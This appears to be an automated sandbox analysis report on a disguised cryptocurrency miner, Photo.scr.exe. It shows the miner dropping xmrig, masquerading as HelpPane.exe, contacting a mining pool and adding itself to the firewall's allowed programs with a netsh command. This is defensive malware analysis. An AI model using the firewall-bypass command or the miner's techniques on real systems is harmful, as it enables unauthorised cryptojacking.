Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Users\user\HelpPane.exe	Queries volume information: C:\Windows\Temp\config VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\SysWOW64\netsh.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001D82CB cpuid

0_2_001D82CB

Source: C:\Users\user\Desktop\Photo.scr.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001D7F0E GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_001D7F0E

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 0_2_001EB0CE GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_001EB0CE

Source: C:\Users\user\Desktop\Photo.scr.exe

Code function: 1_2_02767EE0 RtlGetVersion,

1_2_02767EE0

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\HelpPane.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram C:\Users\user\HelpPane.exe "MyApp" ENABLE

Modifies the windows firewall

Source: C:\Users\user\HelpPane.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram C:\Users\user\HelpPane.exe "MyApp" ENABLE

Source: HelpPane.exe, 00000007.00000003.380905263.00000000036E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XP@
Source: HelpPane.exe, 00000007.00000003.380905263.00000000036E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IS_WIN_XP
Source: HelpPane.exe, 00000007.00000003.380905263.00000000036E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_XP
Source: Photo.scr.exe, 00000001.00000002.428729270.000000000285C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: tIS_WIN_XPRft
Source: HelpPane.exe, 00000007.00000003.380905263.00000000036E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_SERVER_2008
Source: Photo.scr.exe, 00000001.00000002.430607019.0000000002E10000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: >>> if get_winver() <= WIN_VISTA:
Source: HelpPane.exe, 00000007.00000003.380905263.00000000036E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_SERVER_2003
Source: HelpPane.exe, 00000007.00000003.380905263.00000000036E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_VISTA
Source: Photo.scr.exe, 00000001.00000002.428729270.000000000285C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IS_WIN_XPRf
Source: HelpPane.exe, 00000007.00000003.380905263.00000000036E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_7
Source: HelpPane.exe, 00000007.00000003.380905263.00000000036E8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIN_8

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	21 Disable or Modify Tools	1 Input Capture	2 System Time Discovery	Remote Services	1 Archive Collected Data	1 Exfiltration Over Alternative Protocol	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Native API	11 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 System Service Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	1 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	2 Service Execution	1 Bootkit	11 Windows Service	21 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	11 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	12 Process Injection	11 Software Packing	NTDS	27 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	2 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	221 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	12 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	241 Masquerading	Cached Domain Credentials	111 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	111 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 Remote System Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	12 Process Injection	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Bootkit	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Photo.scr.exe	84%	ReversingLabs	Win32.Coinminer.Malxmr
Photo.scr.exe	76%	Virustotal		Browse
Photo.scr.exe	100%	Avira	HTML/Infected.WebPage.Gen2
Photo.scr.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Temp\_MEI60842\back.jpg	100%	Avira	TR/Redcap.bobip
C:\Users\user\AppData\Local\Temp\_MEI60842\xmrig.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\_MEI60842\Crypto.Cipher._AES.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\Crypto.Cipher._AES.pyd	1%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI60842\_ctypes.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\_ctypes.pyd	3%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\_MEI60842\_hashlib.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\_socket.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\_ssl.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\_win32sysloader.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\back.jpg	52%	ReversingLabs	Win32.Worm.Crytes
C:\Users\user\AppData\Local\Temp\_MEI60842\bz2.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\msvcm90.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\msvcp90.dll	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\msvcr90.dll	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\netifaces.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\perfmon.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\psutil._psutil_windows.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\pyexpat.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\python27.dll	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\pywintypes27.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\select.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\servicemanager.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\unicodedata.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\win32api.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\win32event.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\win32evtlog.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\win32service.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI60842\xmrig.exe	75%	ReversingLabs	Win32.Trojan.DacicBitCoinMiner
C:\Users\user\AppData\Local\Temp\_MEI63722\Crypto.Cipher._AES.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\_ctypes.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\_hashlib.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\_socket.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\_ssl.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\_win32sysloader.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\back.jpg	52%	ReversingLabs	Win32.Worm.Crytes
C:\Users\user\AppData\Local\Temp\_MEI63722\bz2.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\msvcm90.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\msvcp90.dll	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\msvcr90.dll	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\netifaces.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\perfmon.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\psutil._psutil_windows.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\pyexpat.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\python27.dll	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\pywintypes27.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\select.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\servicemanager.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\unicodedata.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\win32api.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\win32event.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\win32evtlog.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\win32service.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI63722\xmrig.exe	75%	ReversingLabs	Win32.Trojan.DacicBitCoinMiner
C:\Users\user\AppData\Local\Temp\_MEI69002\Crypto.Cipher._AES.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\_ctypes.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\_hashlib.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\_socket.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\_ssl.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\_win32sysloader.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\back.jpg	52%	ReversingLabs	Win32.Worm.Crytes
C:\Users\user\AppData\Local\Temp\_MEI69002\bz2.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\msvcm90.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\msvcp90.dll	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\msvcr90.dll	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\netifaces.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\perfmon.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\psutil._psutil_windows.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\pyexpat.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\python27.dll	7%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\pywintypes27.dll	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\select.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\servicemanager.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\unicodedata.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\win32api.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\win32event.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\win32evtlog.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\win32service.pyd	3%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI69002\xmrig.exe	75%	ReversingLabs	Win32.Trojan.DacicBitCoinMiner
C:\Users\user\HelpPane.exe	84%	ReversingLabs	Win32.Coinminer.Malxmr
C:\Windows\Temp\_MEI60722\Crypto.Cipher._AES.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\_ctypes.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\_hashlib.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\_socket.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\_ssl.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\_win32sysloader.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\back.jpg	52%	ReversingLabs	Win32.Worm.Crytes
C:\Windows\Temp\_MEI60722\bz2.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\msvcm90.dll	0%	ReversingLabs
C:\Windows\Temp\_MEI60722\msvcp90.dll	7%	ReversingLabs
C:\Windows\Temp\_MEI60722\msvcr90.dll	7%	ReversingLabs
C:\Windows\Temp\_MEI60722\netifaces.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\perfmon.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\psutil._psutil_windows.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\pyexpat.pyd	3%	ReversingLabs
C:\Windows\Temp\_MEI60722\python27.dll	7%	ReversingLabs
C:\Windows\Temp\_MEI60722\pywintypes27.dll	3%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
http://www.valicert.com/	0%	Avira URL Cloud	safe
http://motomastyle.com/)	0%	Avira URL Cloud	safe
http://motomastyle.com/)	0%	Virustotal		Browse
http://www.valicert.com/	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
dht.transmissionbt.com	87.98.162.88	true	false	high
bttracker.acc.umu.se	130.239.18.158	true	false	high
router.bittorrent.com	67.215.246.10	true	false	high
xmr.crypto-pool.fr	141.95.206.77	true	false	high
router.utorrent.com	82.221.103.244	true	false	high
bttracker.debian.org	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://python.org/dev/peps/pep-0263/	Photo.scr.exe, 00000001.00000002.433740450.000000006C471000.00000040.00000001.01000000.00000004.sdmp	false		high
http://docs.python.org/3/library/functools.html#functools.lru_cache	Photo.scr.exe, 00000001.00000003.418651425.00000000029F5000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000002.430173202.00000000029F8000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000003.418179082.00000000029D1000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000003.372066052.0000000002A7A000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.381899580.000000000324F000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.381527901.000000000322D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	Photo.scr.exe, 00000001.00000003.418651425.00000000029F5000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000002.430173202.00000000029F8000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000003.418179082.00000000029D1000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.381899580.000000000324F000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.381527901.000000000322D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valicert.com/	HelpPane.exe, 0000000C.00000003.403203589.0000000001641000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.faqs.org/rfcs/rfc2822.html	Photo.scr.exe, 00000001.00000002.428465066.00000000027B1000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000002.383100704.0000000002FF1000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.381899580.000000000324F000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.381527901.000000000322D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://motomastyle.com/)	Photo.scr.exe, 00000001.00000002.430173202.0000000002A5F000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000003.418179082.0000000002A5F000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://tools.ietf.org/html/rfc6125#section-6.4.3	Photo.scr.exe, 00000001.00000002.429504675.000000000296B000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000003.419253110.0000000002967000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.382229606.00000000031E5000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.381527901.00000000031E1000.00000004.00000020.00020000.00000000.sdmp, HelpPane.exe, 00000007.00000003.382067415.00000000031E2000.00000004.00000020.00020000.00000000.sdmp	false		high
http://mail.python.org/pipermail/python-dev/2012-June/120787.html	Photo.scr.exe, 00000001.00000003.372119999.0000000002E1C000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000003.371945764.0000000002E65000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000002.430607019.0000000002E10000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000003.371743053.0000000002E19000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.openssl.org/support/faq.htmlC:	Photo.scr.exe, 00000001.00000002.432266444.000000006C141000.00000040.00000001.01000000.00000009.sdmp, Photo.scr.exe, 00000001.00000002.432913322.000000006C251000.00000040.00000001.01000000.00000008.sdmp, HelpPane.exe, 00000007.00000002.386192659.000000006BB81000.00000040.00000001.01000000.00000017.sdmp	false		high
https://github.com/mhammond/pywin320	Photo.scr.exe, 00000000.00000003.367796721.0000000002231000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.368134439.0000000002231000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.368050983.0000000002237000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.367667458.0000000002239000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.368254615.0000000002231000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.365570579.0000000002231000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.368089242.0000000002231000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.367625632.0000000002231000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.368168262.0000000002234000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.366579636.0000000002231000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.368373812.0000000002234000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000000.00000003.367823151.0000000002234000.00000004.00000020.00020000.00000000.sdmp, Photo.scr.exe, 00000001.00000002.432060670.000000001E8E0000.00000004.00000001.01000000.0000000E.sdmp, Photo.scr.exe, 00000001.00000002.432246175.000000001ECC0000.00000004.00000001.01000000.0000000C.sdmp, Photo.scr.exe, 